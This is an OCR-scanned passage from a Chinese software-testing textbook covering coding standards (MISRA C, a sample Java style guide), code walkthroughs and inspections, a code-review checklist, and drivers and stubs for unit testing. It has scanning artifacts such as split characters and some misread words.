变量 又 分 为 全 局 变量 和 局 部 变量 ,因此 在 检查 代码 时 首先 要 检查 变量 定义 的 对 不 对 ,有 没有 对 
变量 赋予 初始 值 ,变量 的 命名 是 否 正确 以 及 命名 是 否 符合 规范 。 除 了 变量 和 函数 外 ,代码 中 还 
有 谓语 动词 语句 ,例如 C 语言 中 的 goto do-while 和 if-else 语句 ,就 有 它 的 编程 标准 ,而 目前 
流行 的 编程 语言 中 ,例如 C++ 、Java 等 都 设立 了 使 用 它们 的 标准 。 例 如 著名 的 MISRA C 


Coding Standard, 这 一 标准 中 包括 127 条 C 语言 编码 标准 。 通 常 认 为 ,如 果 能 够 完全 遵守 这 
些 标准 , 则 所 写 的 C 代码 是 易 读 可靠、 可 移植 和 易于 维护 的 ,如 : 

(1) 不 得 使 用 类 型 char, 必 须 显 式 声 明 为 unsigned char 或 者 signed char。 

(2) 所 有 数字 常数 应 当 加 上 合适 的 后 级 表示 类 型 ,例如 51L,42U,34. 12F 等 。 

(3) 不 得 定义 与 外 部 作用 域 中 某 个 标识 符 同 名 的 对 象 ,以 避免 遮盖 外 部 作用 域 中 的 标识 符 。 

(4) 具有 文件 作用 域 的 对 象 尽 量 声明 为 static 的 。 

(5) 同一 个 编译 单元 中 ,同一 个 标识 符 不 应 该 同时 具有 内 部 链接 和 外 部 链接 的 声明 。 

每 个 开发 项 目 由 于 自身 特点 都 必须 符合 一 组 标准 , 除 必须 符合 计算 机 语言 标 准 外 还 需要 
符合 相应 的 行业 标准 ,例如 ,金融 系统 、 航 天 系统 的 软件 都 有 各 自 严 格 的 标准 。 如 果 想 获得 计 
算 机 软件 和 信息 技术 国家 的 相关 国际 标准 ,可 以 通过 以 下 站 点 获得 。 

(1) 美国 国家 标准 会 (ANST): WWW. ANSI. ORG。 

(2) 国际 工程 协议 (IEC): WWW. IEC. ORG。 

(3) 国际 标准 化 组 织 : WWW. ISO. CH。 

(4) 美国 计算 机 械 联合 会 (ACM): WWW. ACM. ORG 。 

(5) 国际 电子 电气 工程 学 会 (IEEE): WWW. IEEE. ORG。 

在 软件 工程 领域 , 源 程序 的 风格 统一 标志 着 可 维护 性 、 可 读 性 ,是 软件 项 目的 一 个 重要 组 
成 部 分 。 如 果 没 有 成 文 的 编码 风格 文档 ,以 至 于 很 多 时 候 ,程序 员 没 有 一 个 共同 的 标准 可 以 遵 
守 , 编 码 风 格 各 异 ,程序 可 维护 性 差 , 可 读 性 也 很 差 。 通 过 建立 代码 编写 规范 ,形成 开发 小 组 编 
码 约定 ,提高 程序 的 可 靠 性 、 可 读 性 、 可 修改 性 、 可 维护 性 .可 继承 性 和 一 致 性 ,可 以 保证 程序 代 
码 的 质量 ,继承 软件 开发 成 果 ,充分 利用 资源 ,使 开发 人 员 之 间 的 工作 成 果 可 以 共享 。 

以 下 是 一 个 实际 项 目 小 组 曾 参考 使 用 过 的 Java 代码 的 书写 规范 。 由 于 篇 幅 较 长 , 略 去 其 
中 部 分 内 容 ,以 供 参 考 。 


【Java 代码 书写 规范 “示例 】 

一 、 目 的 ( 略 ) 
二 、 整 体 编码 风格 

1. 缩 进 

缩 进 建议 以 4 个 空格 为 单位 。 建 议 在 Tools| Editor Options 中 设置 Editor 页 面 的 
Block ident 为 4,Tab Size 为 8。 预 处 理 语句 、 全 局 数据 标题 \ 附 加 说 明 、 函 数 说 明 ,标号 等 
均 顶 格 书写 。 语 句 块 的 *{”“}? 配 对 对 齐 ,并 与 其 前 一 行 对 齐 , 语 句 块 类 的 语句 缩 进 建议 每 
个 “{”“}” 单 独占 一 行 ,便于 匹配 。JBuilder 默认 方式 是 开始 的 “{” 不 是 单独 一 行 ,建议 更 
改 成 上 述 格式 (在 Project|Default Project Properties 中 设置 Code Style 中 选择 Braces 为 
Next line) 。 

2. 空格 

原则 上 ,变量 类、 常量 数据 和 函数 在 其 类 型 和 修饰 名 称 之 间 适 当空 格 并 据 情 况 对 齐 。 
关键 字 原 则 上 空 一 格 , 如 : 让 (…) 等 。 运 算 符 的 空格 规定 如 下 :“::”“ 一 之 ”“[”“]”、 
“十 十 ”一 一 ”~”、“1”、“ 十 ”、“ 一 ”( 指 正 负 号 )、“&”( 引 用 ) 等 几 个 运算 符 两 边 不 加 空格 
(其 中 单 目 运算 符 指 与 操作 数 相 连 的 一 边 ), 其 他 运算 符 ( 包 括 大 多 数 二 目 运 算 符 和 三 目 运 
算 符 “?:”) 两 边 均 加 一 空格 ,在 函数 定义 时 还 可 据 情 况 多 空 或 不 空格 来 对 齐 ,但 在 函数 实现 
时 可 以 不 用 。“,” 运 算 符 只 在 其 后 空 一 格 , 需 对 齐 时 也 可 不 空 或 多 空格 。 不 论 是 否 有 括号 ， 


对 语句 行 后 加 的 注释 应 用 适当 空格 与 语句 隔 开 并 尽 可 能 对 齐 。 个 人 认为 此 项 可 以 依照 个 
人 习惯 决定 遵循 与 否 。 

3. 对 齐 

原则 上 ,关系 密切 的 行 应 对 齐 , 对 齐 包 括 类 型 修饰、 名称、 参数 等 各 部 分 对 齐 。 另 每 一 
行 的 长 度 不 应 超过 屏幕 太 多 ,必要 时 适当 换行 ,换行 时 尽 可 能 在 “,” 处 或 运算 符 处 ,换行 后 
最 好 以 运算 符 打头 ,并 且 以 下 各 行 均 以 该 语句 首 行 缩 进 ,但 该 语句 仍 以 首 行 的 缩 进 为 准 , 即 
如 其 下 一 行为 *{” 应 与 首 行 对 齐 。 

变量 定义 最 好 通过 添加 空格 形成 对 齐 , 同 一 类 型 的 变量 最 好 放 在 一 起 。 如 下 例 所 示 : 


int Value; 
int Result; 
int Length; 
Object currentEntry; 
个 人 认为 此 项 可 以 依照 个 人 习惯 决定 遵循 与 否 。 


4. 空 行 

不 得 存在 无 规则 的 空 行 ,比如 连续 10 个 空 行 。 程 序 文件 结构 各 部 分 之 间 空 两 行 , 若 不 
必要 也 可 只 空 一 行 ,各 函数 实现 之 间 一 般 空 两 行 ,由 于 每 个 函数 还 要 有 函数 说 明 注释 , 故 通 
常 只 需 空 一 行 或 不 空 ,但 对 于 没有 函数 说 明 的 情况 至 少 应 再 空 一 行 。 对 自己 写 的 函数 , 建 
说 所 加 上 二 /一 一 一 一 一 一 ? 作 分 隔 。 函 数 内 部 数据 与 代码 之 间 应 至 少 空 一 行 ,代码 中 适当 
处 应 以 空 行 空 开 ,建议 在 代码 中 出 现 变量 声明 时 ,在 其 前 空 一 行 。 类 中 4 个 “p" 之 间 至 少 空 
一 行 ,在 其 中 的 数据 与 函数 之 间 也 应 空 行 。 

5, 注 酸 

注释 是 软件 可 读 性 的 具体 体现 。 程 序 注释 量 一 般 占 程序 编码 量 的 20% ,软件 工程 要 
求 不 少 于 20%。 程 序 注释 不 能 用 抽象 的 语言 ,类 似 于 “处 理 ”“ 循 环 ” 这 样 的 计算 机 抽象 语 
言 ,要 精确 表达 出 程序 的 处 理 说 明 。 例 如 ,“ 计 算 净 需求 "“ 计 算 第 一 道 工序 的 加 工 工时 ” 
等 。 避 免 每 行程 序 都 使 用 注释 ,可 以 在 一 段 程序 的 前 面 加 一 段 注释 ,具有 明确 的 处 理 逻 辑 。 

注 杰 必 不 可 少 ,但 也 不 应 过 多 ,不 要 被 动 地 为 写 注释 而 写 注 释 。 以 下 是 4 种 必要 的 注释 。 

(1) 标题 附加 说 明 。 

(2) 函数 、 类 等 的 说 明 。 对 几乎 每 个 函数 都 应 有 适当 的 说 明 ,通常 加 在 函数 实现 之 前 ， 
在 没有 函数 实现 部 分 的 情况 下 则 加 在 函数 原型 前 ,其 内 容 主 要 是 函数 的 功能 、 目 的 、 算 法 等 
说 明 ,参数 说 明 、 返 回 值 说 明 等 ,必要 时 还 要 有 一 些 如 特别 的 软 硬 件 要 求 等 说 明 。 公 用 函 
数 、 公 用 类 的 声明 必须 由 注解 说 明 其 使 用 方法 和 设计 思路 ,当然 选择 恰当 的 命名 格式 能 够 
帮助 把 事情 解释 得 更 清楚 。 

(3) 在 代码 不 明晰 或 不 可 移植 处 必须 有 一 定 的 说 明 。 

(4) 少量 的 其 他 注释 ,如 自 定义 变量 的 注释 、 代 码 书写 时 间 等 。 

注释 有 块 注释 和 行 注 释 两 种 ,分 别 是 指 :“/ xx /” 和 “//”。 建 议 对 (1) 用 块 注释 ,(4) 用 
行 注释 ,(2)、(3) 则 视 情况 而 定 , 但 应 统一 ,至 少 在 一 个 单元 中 (2) 类 注释 形式 应 统一 。 具 体 
对 不 同文 件 、 结 构 的 注释 会 在 后 面 详细 说 明 。 

6. 代码 长 度 

对 于 每 一 个 函数 建议 尽 可 能 控制 其 代码 长 度 为 53 行 左右 ,超过 53 行 的 代码 要 重新 考 


虑 将 其 拆 分 为 两 个 或 两 个 以 上 的 函数 。 函 数 拆 分 规则 应 该 以 不 破坏 原 有 算法 为 基础 ,同时 
拆 分 出 来 的 部 分 应 该 是 可 以 重复 利用 的 。 对 于 在 多 个 模块 或 者 窗 体 中 都 要 用 到 的 重复 性 
代码 ,完全 可 以 将 起 独立 成 为 一 个 具备 公用 性 质 的 函数 ,放置 于 一 个 公用 模块 中 。 

7. 页 宽 

页 宽 应 该 设置 为 80 字符 。 源 代码 一 般 不 会 超过 这 个 宽度 ,并 导致 无 法 完整 显示 ,但 这 
一 设置 也 可 以 灵活 调整 。 在 任何 情况 下 , 超 长 的 语句 应 该 在 一 个 逗号 或 者 一 个 操作 符 后 折 
行 。 一 条 语句 折 行 后 ,应 该 比 原来 的 语句 再 缩 进 两 个 字符 。 

8. 行 数 

一 般 的 集成 编程 环境 下 ,每 屏 大 概 只 能 显示 不 超过 50 行 的 程序 ,所 以 这 个 函数 大 概要 
5 或 6 屏 显示 ,在 某 些 环 境 下 要 8 屏 左 右 才 能 显示 完 。 这 样 一 来 ,无 论 是 读 程序 还 是 修改 
程序 ,都 会 有 困难 。 因 此 建议 把 完成 比较 独立 功能 的 程序 块 抽 出 ,单独 成 为 一 个 函数 。 把 
完成 相同 或 相近 功能 的 程序 块 抽出 ,独立 为 一 个 子 函数 。 可 以 发 现 , 越 是 上 层 的 函数 越 简 
单 , 就 是 调用 几 个 子 函 数 , 越 是 底层 的 函数 完成 的 越 是 具体 的 工作 。 这 是 好 程序 的 一 个 标 
志 。 这 样 ,就 可 以 在 较 上 层 函 数 里 容易 控制 整个 程序 的 逻辑 ,而 在 底层 的 函数 里 专注 于 某 
方面 的 功能 的 实现 了 。 
三 、 代 码 文件 风格 ( 略 ) 
四 、 函 数 编写 风格 ( 略 ) 
五 、 符 号 风格 ( 略 ) 


5.2.2 代码 评审 


代码 审查 (Code Review) 也 是 一 种 有 效 的 测试 方法 。 据 有 关 数 据 统计 ,代码 中 60% 以 上 
的 缺陷 可 以 通过 代码 审查 (包括 互 查 , 走 查 、 会 议 评审 等 形式 ) 发 现 出 来 。 代 码 审查 ,不 仅 能 有 
效 地 发 现 缺 陷 , 而 且 为 缺陷 预防 获取 各 种 经 验 ,为 改善 代码 质量 打下 坚实 的 基础 。 即 使 没有 时 
间 完 成 所 有 代码 的 检查 ,也 应 该 尽 可 能 去 做 ,哪怕 是 对 其 中 一 部 分 代码 进行 审查 。 人 们 也 为 代 
码 审 查 进行 了 大 量 的 探索 ,获得 了 一 些 最 佳 实践 ,例如 : 

(1) 一 次 检查 大 约 200 一 400 行 代码 ,不 宜 超过 60 一 90min。 

(2) 合适 的 检查 速度 : 每 小 时 少 于 300 一 500 行 代码 。 

(3) 在 审查 前 ,代码 作者 应 该 对 代码 进行 注释 。 

(4) 建立 量化 的 目标 并 获得 相关 的 指标 数据 ,从 而 不 断 改进 流程 。 

(5) 使 用 检查 表 (Checklist) 肯 定 能 提高 评审 效果 。 

1. 代码 走 查 

代码 互 查 是 日 常 工作 中 使 用 最 多 的 一 种 代码 评审 方式 ,比较 容易 开展 ,相对 自由 ,而 走 查 
(Walk Through) 是 一 种 相对 比较 正式 的 代码 评审 过 程 。 在 此 过 程 中 ,设计 者 或 程序 员 引 导 小 
组 部 分 成 员 通读 编码 ,其 他 成 员 提 出 问题 并 对 有 关 技术 风格 .可 能 的 错误 ,是否 有 违背 开发 标 
准 /规范 的 地 方 等 进行 评论 。 走 查 过 程 中 ,由 测试 成 员 提出 一 批 测试 实例 ,在 会 议 上 对 每 个 测 
试 实例 用 头脑 来 执行 程序 ,在 纸 上 或 黑板 上 演变 程序 的 状态 。 在 这 个 过 程 中 ,测试 实例 并 不 起 
关键 作用 ,它们 仅 作为 怀疑 程序 逻辑 与 计算 错误 的 参考 。 大 多 数 走 查 中 ,在 怀疑 程序 的 过 程 中 
所 发 现 的 缺陷 比 通过 测试 实例 本 身 发 现 的 缺陷 更 多 。 编 程 者 对 照 讲解 设计 框图 和 源码 图 , 特 
别 是 对 两 者 相 异 之 处 加 以 解释 ,有 助 于 验证 设计 和 实现 之 间 的 一 致 性 。 


2. 正式 会 议 审查 

会 议 审查 (Inspection) 是 一 种 最 为 正式 的 检查 和 评估 方法 ,最 早 是 由 IBM 公司 提出 ,经 实 
践 证 明 ,是 一 种 有 效 的 检查 方法 ,从 而 得 到 软件 工程 界 的 普遍 认同 。 它 是 用 逐步 检查 源 代 码 中 
有 无 逻辑 或 语法 错误 的 办 法 来 检测 故障 。 可 以 认为 它 是 拿 代 码 与 标准 和 规范 对 照 的 补充 , 因 
为 它 不 但 需要 软件 开发 者 自 查 ,还 要 组 织 代码 检查 小 组 进行 代码 检查 。 代 码 检查 小 组 通常 由 
独立 的 主持 人 (协调 员 ) 程序 编写 小 组 .其 他 组 程序 员 和 测试 小 组 成 员 组 成 。 代 码 检查 程序 如 
下 : 主持 人 提前 把 程序 目录 表 和 设计 说 明 分 配给 小 组 各 成 员 , 小 组 成 员 在 开会 前 先 熟 悉 这 些 
材料 ,然后 开会 。 在 会 议 上 ,主要 的 工作 如 下 。 

(1) 由 程序 编写 小 组 成 员 逐 句 阑 明 程 序 的 逻辑 ,在 此 过 程 中 可 由 程序 员 或 测试 小 组 成 员 
提出 问题 ,追踪 缺陷 是 否 存在 。 

(2) 利用 通用 缺陷 检查 表 来 分 析 讨 论 。 主 持 人 负责 讨论 沿 着 建设 性 方向 进行 ,而 其 他 人 
则 集中 注意 力 发 现 缺 陷 。 

(3) 记录 所 有 已 确定 的 缺陷 ,在 会 议 之 后 形成 (评审 报告 》。 在 《评审 报告 ) 中 必须 写 明 错 
误 的 位 置 .类 型 .影响 范围 和 原因 等 ,评审 报告 需 交 给 程序 编写 者 并 同时 存档 。 

(4) 审查 小 组 根据 代码 审查 的 错误 记录 来 评估 该 程序 ,决定 是 否 需要 重新 进行 审议 。 如 
发 现 太 多 缺陷 ,那么 在 改正 缺陷 之 后 ,可 能 需要 再 开 评审 会 议 。 

无 论 是 走 查 还 是 正式 的 会 议 审查 ,都 需要 注意 限时 和 避免 现场 修改 。 限 时 是 为 了 避免 跑 
题 ,不 要 针对 某 个 技术 问题 进行 无 休止 的 讨论 。 发 现 问题 时 不 要 现场 修改 ,适当 地 进行 记录 ， 
会 后 再 进行 修改 是 必要 的 ,否则 会 浪费 大 家 的 时 间 。 会 议 主持 人 要 牢记 会 议 的 宗旨 和 目标 。 
检查 的 要 点 是 代码 编写 是 否 符合 标准 和 规范 ,是 否 存在 逻辑 错误 。 

在 审查 会 前 项 目 经 理 要 制定 或 维护 好 代码 缺陷 检查 表 ,检查 表 的 内 容 主 要 是 检查 的 要 点 ， 
作为 评审 的 检查 依据 主要 参考 资料 。 在 评审 会 上 项 目 组 的 每 一 个 人 员 都 能 看 到 自己 和 其 他 
人 员 的 编码 问题 ,也 是 大 家 很 好 的 学 习 机 会 ,从 而 起 到 缺陷 预防 的 作用 。 评 审 会 中 确定 的 所 有 
缺陷 都 要 被 解决 ,并 且 解决 的 结果 可 能 需要 评审 会 主持 人 或 项 目 经 理 的 确认 ,如 果 需 要 ,需要 
再 上 评审 会 确认 。 评 审 通过 的 准则 如 下 。 

(1) 充分 审查 了 所 规定 的 代码 ,并且 全 部 编码 准则 被 遵守 。 

(2) 审查 中 发 现 的 错误 已 全 部 修改 。 

3. 走 查 与 会 议 审查 的 对 比 


走 查 与 会 议 审查 的 对 比 见 表 5-1。 
表 5-1 走 查 与 审查 对 比 
走 查 审 查 
si 应 准备 好 需求 描述 文档 ,程序 设计 文档 ,程序 的 
i 划 快 设 守 和 第 码 源 代码 清单 、 代 码 编码 标准 和 代码 缺陷 检查 表 
形式 非 正式 会 议 正式 会 议 
参加 人 员 开发 人 员 为 主 项 目 组 成 员 包括 测试 人 员 
主要 技术 方法 | 无 缺陷 检查 表 
注意 事项 限时 ,不 要 现场 修改 代码 限时 ,不 要 现场 修改 代码 
生成 文档 会 议 记录 静态 分 析 错 误 报告 
目标 代码 标准 规范 ,无 逻辑 错误 代码 标准 规范 ,无 逻辑 错误 


4. 缺陷 检查 表 

检查 过 程 所 采用 的 主要 技术 是 设计 与 使 用 缺陷 检查 表 。 这 个 表 通 常 是 把 程序 设计 中 可 能 
发 生 的 各 种 缺陷 进行 分 类 ,以 每 一 类 列举 尽 可 能 多 的 典型 缺陷 ,然后 把 它们 制 成 表格 ,以 供 在 
会 议 中 使 用 ,并 且 在 每 次 审议 会 议 之 后 ,对 新 发 现 的 缺陷 也 要 进行 分 析 和 归 类 ,不 断 充 实 缺陷 
检查 表 。 缺 陷 检 查 表 会 因 项 目 不 同 而 不 同 , 在 实际 工作 中 不 断 积累 完善 ,使 用 缺陷 检查 表 的 目 
的 是 防止 人 为 的 朴 漏 。 下 面 就 是 一 个 代码 检查 表 的 示例 ,这 个 示例 只 对 结构 化 编程 测试 具有 
普遍 和 通用 的 意义 。 


代码 评审 的 通用 检查 表 

1. 格式 

(1) 嵌 套 的 IF 是 否 正确 地 缩 进 ? 

(2) 注释 是 否 准 确 并 有 意义 ? 

(3) 是 否 使 用 有 意义 的 标号 ? 

(4) 代码 是 否 基本 上 与 开始 时 的 模块 模式 一 致 ? 

(5) 是 否 遵循 全 套 的 编程 标准 ? 

2. 程序 语言 的 使 用 

(1) 是 否 使 用 一 个 或 一 组 最 佳 动词 ? 

(2) 模块 中 是 否 使 用 完整 定义 的 语言 的 有 限 子 集 ? 

(3) 是 否 使 用 了 适当 的 转移 语句 ? 

3. 数据 引用 错误 

(1) 是 否 引用 了 未 初始 化 的 变量 ? 

(2) 数组 和 字符 串 的 下 标 是 整数 值 吗 ? 下 标 总 是 在 数组 和 字符 串 大 小 范围 之 内 吗 ? 

(3) 是 否 在 应 该 使 用 常量 的 地 方 使 用 了 变量 ,例如 在 检查 数组 范围 时 ? 

(4) 变量 是 否 被 赋予 了 不 同类 型 的 值 ? 

(5) 为 引用 的 指针 分 配 内 存 了 吗 ? 

(6) 一 个 数据 结构 是 否 在 多 个 函数 或 者 子 程序 中 引用 ,在 每 一 个 引用 中 明确 定义 了 结 
构 了 吗 ? 

4. 数据 声明 错误 

(1) 所 有 变量 都 赋予 正确 的 长 度 、 类 型 和 存储 类 了 吗 ? 例如 ,本 应 声明 为 字符 串 的 变 
量 声 明 为 字符 数组 了 。 

(2) 变量 是 否 在 声明 的 同时 进行 了 初始 化 ? 是 否 正确 初始 化 并 与 其 类 型 一 致 ? 

(3) 变量 有 相似 的 名 称 吗 ? 是 否 自 定义 变量 使 用 了 系统 变量 名 ? 

(4) 存在 声明 过 ,但 从 未 引用 或 者 只 引用 过 一 次 的 变量 吗 ? 

(5) 在 特定 模块 中 所 有 变量 都 显 式 声明 了 吗 ? 如 果 没 有 ,是 否 可 以 理解 为 该 变量 与 更 
高 级 别 的 模块 共享 ? 

5. 计算 错误 

(1) 计算 中 是 否 使 用 了 不 同 数据 类 型 的 变量 ? 例如 将 整数 与 浮 点 数 相 加 。 

(2) 计算 中 是 否 使 用 了 不 同 数据 类 型 的 变量 ? 例如 ,将 字 节 与 字 相 加 。 


(3) 计算 时 是 否 了 解 和 考虑 到 编译 器 对 类 型 和 长 度 不 一 致 的 变量 的 转换 规则 ? 

(4) 赋值 的 目的 变量 是 否 小 于 赋值 表达 式 的 值 ? 

(5) 在 数值 计算 过 程 中 是 否 可 能 出 现 溢出 ? 

(6) 除数 / 模 是 否 可 能 为 零 ? 

(7) 对 于 整 型 算术 运算 ,特别 是 除法 的 代码 处 理 是 否 会 丢失 精度 ? 

(8) 变量 的 值 是 否 超过 有 意义 的 范围 ? 

(9) 对 于 包含 多 个 操作 数 的 表达 式 , 求 值 的 次 序 是 否 混 乱 ? 运算 优先 级 对 吗 ? 

6. 比较 错误 

(1) 比较 得 正确 吗 ? 虽然 听 起 来 容易 ,但 是 比较 中 应 该 是 小 于 还 是 小 于 或 等 于 常常 发 
生 混淆 。 

(2) 存在 分 数 或 者 浮 点 值 之 间 的 比较 吗 ? 如 果 有 ,精度 问题 会 影响 比较 吗 ? 

(3) 每 一 个 座 辑 表达 式 都 正确 表达 了 吗 ? 逻辑 计算 如 期 进行 了 吗 ? 求 值 次 序 有 疑问 吗 ? 

(4) 加 辑 表达 式 的 操作 数 是 逻辑 值 吗 ? 例如 ,是 否 包含 整数 值 的 整 型 变量 用 于 逻辑 计 
算 中 ? 

7. 入 口 和 出 口 的 连接 

(1) 初始 入 口 和 最 终 出 口 是 否 正确 ? 

(2) 对 另 一 个 模块 的 每 一 次 调用 是 否 恰当 ? 例如 ,全 部 所 需 的 参数 是 否 传送 给 每 一 个 
被 调用 的 模块 ? 被 传送 的 参数 值 是 否 被 正确 地 设置 ? 对 关键 的 被 调用 模块 的 意外 情况 (如 
丢失 ,混乱 ) 是 否 处 理 。 

(3) 每 个 模块 的 代码 是 否 只 有 一 个 入 口 和 一 个 出 口 ? 

8. 存储 器 的 使 用 

(1) 每 个 域 , 在 其 第 一 次 被 使 用 前 是 否 正确 初始 化 ? 

(2) 规定 的 域 正确 否 ? 

(3) 每 个 域 是 否 有 正确 的 变量 类 型 声明 ? 

9. 控制 流程 错误 

(1) 如 果 程 序 包含 begin-end 和 do-while 等 语句 组 ,end 是 否 对 应 ? 

(2) 程序 模块. 子 程序 和 循环 能 否 终 止 ?” 如 果 不 能 ,可 以 接受 吗 ? 

(3) 可 能 存在 永远 不 停 的 循环 吗 ? 

(4) 存在 循环 从 不 执行 吗 ? 如 果 是 这 样 ,可 以 接受 吗 ? 

(5) 如 果 程 序 包含 像 switch-case 语句 这 样 的 多 个 分 支 ,索引 变量 能 超出 可 能 的 分 支 
数目 吗 ? 如 果 超 出 ,该 情况 能 正确 处 理 吗 ? 

(6) 是 否 存在 “丢掉 一 个 ”错误 ,导致 意外 进入 循环 ? 

(7) 代码 执行 路 径 是 否 已 全 部 覆盖 ? 是 否 能 保证 每 条 源 代 码 语句 至 少 执行 一 次 ? 

10. 子 程序 参数 错误 

(1) 子 程序 接收 的 参数 类 型 和 大 小 与 调用 代码 发 送 的 匹配 吗 ? 次 序 正确 吗 ? 

(2) 如 果子 程序 有 多 个 入 口 点 ,引用 的 参数 是 否 与 当前 入 口 点 没有 关联 ? 

(3) 常量 是 否 当 作 形式 参数 传递 ,意外 在 子 程序 中 被 改动 ? 


(4) 子 程序 是 否 更 改 了 仅 作 为 输入 值 的 参数 ? 

(5) 每 一 个 参数 的 单位 是 否 与 相应 的 形 参 匹配 ? 

(6) 如 果 存 在 全 局 变量 ,在 所 有 引用 子 程序 中 是 否 有 相似 的 定义 和 属性 ? 
11. 输入 输出 错误 

(1) 软件 是 否 严格 遵守 外 部 设备 读 写 数据 的 专用 格式 ? 

(2) 文件 或 者 外 设 不 存在 或 者 未 准备 好 的 错误 情况 有 处 理 吗 ? 

(3) 软件 是 否 处 理 外 部 设备 未 连接 .不 可 用 或 者 读 写 过 程 中 存储 空间 占 满 等 情况 ? 
(4) 软件 以 预期 方式 处 理 预计 的 错误 吗 ? 

(5) 检查 错误 提示 信息 的 准确 性 、 正 确 性 、 语 法 和 拼写 了 吗 ? 

12. 逻辑 和 性 能 

(1) 全 部 设计 已 实现 否 ? 

(2) 逻辑 被 最 佳 地 编码 否 ? 

(3) 提供 正式 的 错误 /例外 子 程序 否 ? 

(4) 每 一 个 循环 执行 正确 的 次 数 否 ? 

13. 维护 性 和 可 靠 性 

(1) 清单 格式 适 于 高 可 读 性 否 ? 

(2) 标号 和 子 程序 符合 代码 的 逻辑 意义 否 ? 

(3) 对 从 外 部 接口 采集 的 数据 有 确认 否 ? 

(4) 遵循 可 靠 性 编程 要 求 否 ? 

(5) 是 否 存在 内 存 泄漏 的 问题 ? 


5.3 动态 测试 


单元 测试 除了 测试 其 功能 性 之 外 ,还 需 确保 代码 在 结构 上 可 靠 ,健全 并 且 能 够 有 良好 的 响 
应 , 仅 进 行 静态 测试 是 不 够 的 ,必须 要 运行 单元 ,进行 动态 测试 ,需要 设计 更 充分 的 测试 用 例 以 
验证 业务 逻辑 合理 性 和 单元 的 实际 表现 行为 。 


5.3.1 了 驱动 程序 和 桩 程序 


运行 被 测试 单元 ,为 了 隔离 单元 ,根据 被 测试 单元 的 接口 ,开发 相应 的 驱动 程序 (Driver) 
和 桩 程序 (Stub) ,如 图 5-1 所 示 。 

(1) 驱动 程序 (Driver) ,也 称 驱 动 模块 ,用 以 模拟 被 i 
测 模块 的 上 级 模块 ,能 够 调用 被 测 模块 。 在 测试 过 程 
中 ,驱动 模块 接收 测试 数据 ,调用 被 测 模块 并 把 相关 的 
数据 传送 给 被 测 模块 。 

(2) 桩 程序 (Stub) ,也 称 桩 模块 ,用 以 模拟 被 测 模 
块 工作 过 程 中 所 调用 的 下 层 模块 。 桩 模块 由 被 测 模块 ME | | HE | 
调用 ,它们 一 般 只 进行 很 少 的 数据 处 理 , 例 如 打印 人 口 、 图 5-1 单元 测试 中 驱动 程序 和 桩 程序 
和 返回 ,以 便于 检验 被 测 模块 与 其 下 级 模块 的 接口 。 


被 测试 单元 


通过 驱动 程序 和 桩 程序 就 可 以 隔离 被 测 单元 ,而 又 能 使 测试 继续 下 去 。 驱 动 程序 作为 人 
口 , 可 以 设置 不 同 的 数据 参数 ,来 完成 各 种 测试 用 例 。 


【示例 : 具有 驱动 程序 和 桩 程序 作用 的 小 程序 】 

公司 正在 进行 一 项 大 型 的 网 络 服务 系统 的 开发 ,项 目 组 承担 的 是 服务 器 端的 软件 开 
发 。 其 中 有 个 项 目 负责 多 台数 据 库 服务 器 的 数据 复制 。 服 务 系统 是 实时 的 ,对 数据 复制 的 
性 能 要 求 当然 很 高 。 当 开发 人 员 完 成 了 数据 传输 模块 时 (还 未 编制 和 数据 库 相 关 的 模块 )， 
就 主动 要 求 我 们 对 其 性 能 进行 单元 测试 。 

进行 这 样 的 性 能 测试 ,不 需要 详细 了 解 该 单元 的 结构 ,但 首先 要 掌握 设计 文档 中 相关 
的 性 能 指标 和 运行 的 网 络 环境 及 服务 器 环境 等 指标 ,以 便 搭建 相应 的 测试 环境 。 

其 次 ,要 求 开发 人 员 提 供 相应 的 程序 接口 ,测试 人 员 根 据 接口 定义 来 设计 驱动 程序 和 
桩 程序 用 来 运行 并 测试 该 单元 程序 。 为 此 ,编写 了 一 个 功能 简单 的 小 程序 , 既 作 为 驱动 程 
序 也 是 桩 程序 。 该 驱动 程序 在 服务 器 端 运 行 模拟 数据 库 提供 和 接收 需 复制 的 数据 , 它 能 够 
随机 产生 可 设置 大 小 的 数据 包 , 按 设置 好 的 单位 时 间 发 包 数 量 进 行 数据 包 的 发 送 , 同 时 它 
也 是 接收 端 ,能 对 接收 到 的 数据 包 的 数量 和 大 小 进行 简单 的 统计 ,以 便 实现 简单 的 验证 ,如 
图 5-2 所 示 。 


[机 世上 说 这 单元 | | 开动 本 


5-2 ”具有 桩 模块 作用 的 驱动 程序 


接着 就 要 设计 测试 用 例 并 实施 测试 。 设 计 测 试用 例 时 : 

(1) 根据 指标 考虑 数据 包 的 大 小 和 频率 ,如 大 包 低频 或 小 包 高 频 ; 

(2) 考虑 两 个 驱动 程序 的 数据 对 发 ; 

(3) 从 两 个 驱动 程序 变 为 多 个 驱动 程序 的 数据 对 发 ; 

(4) 从 同一 网 段 变 为 多 个 网 段 , 验 证 代理 服务 器 或 网 关 造 成 的 影响 。 

发 现 问 题 后 ,要 先 排除 网 络 等 环境 因素 ,再 报告 开发 人 员 进行 调试 。 

这 样 会 确保 该 单元 将 不 会 是 该 项 目的 性 能 瓶颈 ,也 避免 了 后 续 开发 的 盲目 性 。 很 多 参 
考 书 中 误导 人 们 认为 单元 测试 采用 的 是 白 盒 测 试 技术 ,由 开发 人 员 完 成 。 这 很 片面 ,在 有 
些 情况 下 是 完全 不 对 的 。 从 另 一 方面 来 说 ,该 案例 的 测试 工作 也 可 由 开发 者 完成 ,但 在 开 
发 的 初期 ,测试 人 员 并 没有 大 的 测试 压力 ,而 开发 者 面临 着 大 量 代码 编写 压力 ,浪费 开发 者 
的 时 间 直 接 影响 项 目的 进度 ,何况 开发 者 与 测试 者 的 心理 状态 的 不 同 ,还 可 能 直接 影响 测 
试 结果 的 可 靠 性 。 


5.3.2 类 测试 


面向 对 象 的 单元 测试 通常 是 对 一 个 基 类 或 其 子 类 进行 测试 ,因为 类 是 面向 对 象 软件 的 基 
本 单位 。 对 于 类 的 单元 测试 可 以 看 作 是 对 类 的 成 员 函 数 进行 测试 。 一 般 不 会 对 类 的 每 个 成 员 
及 方法 进行 测试 ,例如 ,一 般 不 会 针对 成 员 变量 的 定义 进行 单元 测试 ,一 般 也 不 需要 对 get/set 
方法 进行 单独 测试 ,但 对 于 核心 或 重要 的 方法 需要 进行 全 面 的 单元 测试 。 对 单个 方法 的 测试 
类 似 于 对 传统 软件 的 单个 函数 的 测试 ,第 3 章 所 介绍 的 测试 方法 (如 基于 输入 域 的 ,基于 逻辑 
